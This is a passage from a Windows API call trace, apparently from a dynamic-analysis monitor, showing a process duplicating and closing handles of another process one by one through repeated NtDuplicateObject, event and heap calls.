TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.506] ResetEvent (hEvent=0xec) returned 1 [0148.506] SetEvent (hEvent=0xe8) returned 1 [0148.506] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.506] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.506] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.506] NtClose (Handle=0x15c) returned 0x0 [0148.506] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xac, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.506] ResetEvent (hEvent=0xec) returned 1 [0148.506] SetEvent (hEvent=0xe8) returned 1 [0148.506] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.507] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.507] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.507] NtClose (Handle=0x15c) returned 0x0 [0148.507] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xb0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.507] ResetEvent (hEvent=0xec) returned 1 [0148.507] SetEvent (hEvent=0xe8) returned 1 [0148.507] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.507] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.507] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.507] NtClose (Handle=0x15c) returned 0x0 [0148.507] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xb4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.507] ResetEvent (hEvent=0xec) returned 1 [0148.507] SetEvent (hEvent=0xe8) returned 1 [0148.507] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.508] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.508] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.508] NtClose (Handle=0x15c) returned 0x0 [0148.508] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xb8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.508] ResetEvent (hEvent=0xec) returned 1 [0148.508] SetEvent (hEvent=0xe8) returned 1 [0148.508] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.508] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.508] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.508] NtClose (Handle=0x15c) returned 0x0 [0148.509] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xbc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc00000bb [0148.509] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xc0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.509] ResetEvent (hEvent=0xec) returned 1 [0148.509] SetEvent (hEvent=0xe8) returned 1 [0148.509] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.509] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.509] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.509] NtClose (Handle=0x15c) returned 0x0 [0148.509] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xc4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.509] ResetEvent (hEvent=0xec) returned 1 [0148.509] SetEvent (hEvent=0xe8) returned 1 [0148.509] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.510] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.510] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.510] NtClose (Handle=0x15c) returned 0x0 [0148.510] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xc8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.510] ResetEvent (hEvent=0xec) returned 1 [0148.510] SetEvent (hEvent=0xe8) returned 1 [0148.510] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.510] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.510] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.510] NtClose (Handle=0x15c) returned 0x0 [0148.510] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xcc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.510] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xd0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.510] ResetEvent (hEvent=0xec) returned 1 [0148.510] SetEvent (hEvent=0xe8) returned 1 [0148.511] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.511] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.511] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.511] NtClose (Handle=0x15c) returned 0x0 [0148.511] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xd4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.511] ResetEvent (hEvent=0xec) returned 1 [0148.511] SetEvent (hEvent=0xe8) returned 1 [0148.511] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.511] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.511] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.511] NtClose (Handle=0x15c) returned 0x0 [0148.512] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xd8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.512] ResetEvent (hEvent=0xec) returned 1 [0148.512] SetEvent (hEvent=0xe8) returned 1 [0148.512] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.512] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.512] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.512] NtClose (Handle=0x15c) returned 0x0 [0148.512] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xdc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.512] ResetEvent (hEvent=0xec) returned 1 [0148.512] SetEvent (hEvent=0xe8) returned 1 [0148.512] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.513] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.513] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.513] NtClose (Handle=0x15c) returned 0x0 [0148.513] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xe0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.513] ResetEvent (hEvent=0xec) returned 1 [0148.513] SetEvent (hEvent=0xe8) returned 1 [0148.513] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.513] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.513] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.513] NtClose (Handle=0x15c) returned 0x0 [0148.513] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xe4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.513] ResetEvent (hEvent=0xec) returned 1 [0148.513] SetEvent (hEvent=0xe8) returned 1 [0148.513] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.514] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.514] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.514] NtClose (Handle=0x15c) returned 0x0 [0148.514] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xe8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.514] ResetEvent (hEvent=0xec) returned 1 [0148.514] SetEvent (hEvent=0xe8) returned 1 [0148.514] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.514] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.515] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.515] NtClose (Handle=0x15c) returned 0x0 [0148.515] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xec, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.515] ResetEvent (hEvent=0xec) returned 1 [0148.515] SetEvent (hEvent=0xe8) returned 1 [0148.515] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.515] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.515] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.515] NtClose (Handle=0x15c) returned 0x0 [0148.515] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xf0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.515] ResetEvent (hEvent=0xec) returned 1 [0148.515] SetEvent (hEvent=0xe8) returned 1 [0148.515] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.516] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.516] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.516] NtClose (Handle=0x15c) returned 0x0 [0148.516] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xf4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.516] ResetEvent (hEvent=0xec) returned 1 [0148.516] SetEvent (hEvent=0xe8) returned 1 [0148.516] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.516] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.516] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.516] NtClose (Handle=0x15c) returned 0x0 [0148.516] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xf8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.516] ResetEvent (hEvent=0xec) returned 1 [0148.516] SetEvent (hEvent=0xe8) returned 1 [0148.516] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.517] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.517] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.517] NtClose (Handle=0x15c) returned 0x0 [0148.517] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xfc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.517] ResetEvent (hEvent=0xec) returned 1 [0148.517] SetEvent (hEvent=0xe8) returned 1 [0148.517] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.517] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.517] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.517] NtClose (Handle=0x15c) returned 0x0 [0148.517] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x100, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.518] ResetEvent (hEvent=0xec) returned 1 [0148.518] SetEvent (hEvent=0xe8) returned 1 [0148.518] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.518] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.518] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.518] NtClose (Handle=0x15c) returned 0x0 [0148.518] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x104, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.518] ResetEvent (hEvent=0xec) returned 1 [0148.518] SetEvent (hEvent=0xe8) returned 1 [0148.518] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.518] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.519] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.519] NtClose (Handle=0x15c) returned 0x0 [0148.519] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x108, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.519] ResetEvent (hEvent=0xec) returned 1 [0148.519] SetEvent (hEvent=0xe8) returned 1 [0148.519] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.519] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.519] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.519] NtClose (Handle=0x15c) returned 0x0 [0148.519] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x10c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.519] ResetEvent (hEvent=0xec) returned 1 [0148.519] SetEvent (hEvent=0xe8) returned 1 [0148.519] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.520] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.520] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.520] NtClose (Handle=0x15c) returned 0x0 [0148.520] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x110, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.520] ResetEvent (hEvent=0xec) returned 1 [0148.520] SetEvent (hEvent=0xe8) returned 1 [0148.520] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.520] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.520] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.520] NtClose (Handle=0x15c) returned 0x0 [0148.520] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x114, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.520] ResetEvent (hEvent=0xec) returned 1 [0148.520] SetEvent (hEvent=0xe8) returned 1 [0148.520] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.521] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.521] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.521] NtClose (Handle=0x15c) returned 0x0 [0148.521] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x118, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.521] ResetEvent (hEvent=0xec) returned 1 [0148.521] SetEvent (hEvent=0xe8) returned 1 [0148.521] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.521] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.521] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.521] NtClose (Handle=0x15c) returned 0x0 [0148.521] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x11c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.521] ResetEvent (hEvent=0xec) returned 1 [0148.521] SetEvent (hEvent=0xe8) returned 1 [0148.521] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.522] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.522] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.522] NtClose (Handle=0x15c) returned 0x0 [0148.522] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x120, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.522] ResetEvent (hEvent=0xec) returned 1 [0148.522] SetEvent (hEvent=0xe8) returned 1 [0148.522] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.522] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.522] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.522] NtClose (Handle=0x15c) returned 0x0 [0148.522] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x124, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.522] ResetEvent (hEvent=0xec) returned 1 [0148.522] SetEvent (hEvent=0xe8) returned 1 [0148.523] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.523] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.523] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.523] NtClose (Handle=0x15c) returned 0x0 [0148.523] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x128, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.523] ResetEvent (hEvent=0xec) returned 1 [0148.523] SetEvent (hEvent=0xe8) returned 1 [0148.523] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.523] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.523] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.523] NtClose (Handle=0x15c) returned 0x0 [0148.524] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x12c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.524] ResetEvent (hEvent=0xec) returned 1 [0148.524] SetEvent (hEvent=0xe8) returned 1 [0148.524] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.526] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.526] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.526] NtClose (Handle=0x15c) returned 0x0 [0148.526] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x130, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.526] ResetEvent (hEvent=0xec) returned 1 [0148.526] SetEvent (hEvent=0xe8) returned 1 [0148.526] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.527] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.527] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.527] NtClose (Handle=0x15c) returned 0x0 [0148.527] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x134, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.527] ResetEvent (hEvent=0xec) returned 1 [0148.527] SetEvent (hEvent=0xe8) returned 1 [0148.527] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.527] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.527] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.527] NtClose (Handle=0x15c) returned 0x0 [0148.527] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x138, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.527] ResetEvent (hEvent=0xec) returned 1 [0148.527] SetEvent (hEvent=0xe8) returned 1 [0148.527] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.529] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.529] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.529] NtClose (Handle=0x15c) returned 0x0 [0148.529] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x13c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.529] ResetEvent (hEvent=0xec) returned 1 [0148.529] SetEvent (hEvent=0xe8) returned 1 [0148.529] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.529] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.529] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.529] NtClose (Handle=0x15c) returned 0x0 [0148.529] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x140, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.529] ResetEvent (hEvent=0xec) returned 1 [0148.529] SetEvent (hEvent=0xe8) returned 1 [0148.530] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.530] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.530] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.530] NtClose (Handle=0x15c) returned 0x0 [0148.530] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x144, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.530] ResetEvent (hEvent=0xec) returned 1 [0148.530] SetEvent (hEvent=0xe8) returned 1 [0148.530] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.530] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.530] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.530] NtClose (Handle=0x15c) returned 0x0 [0148.530] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x148, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 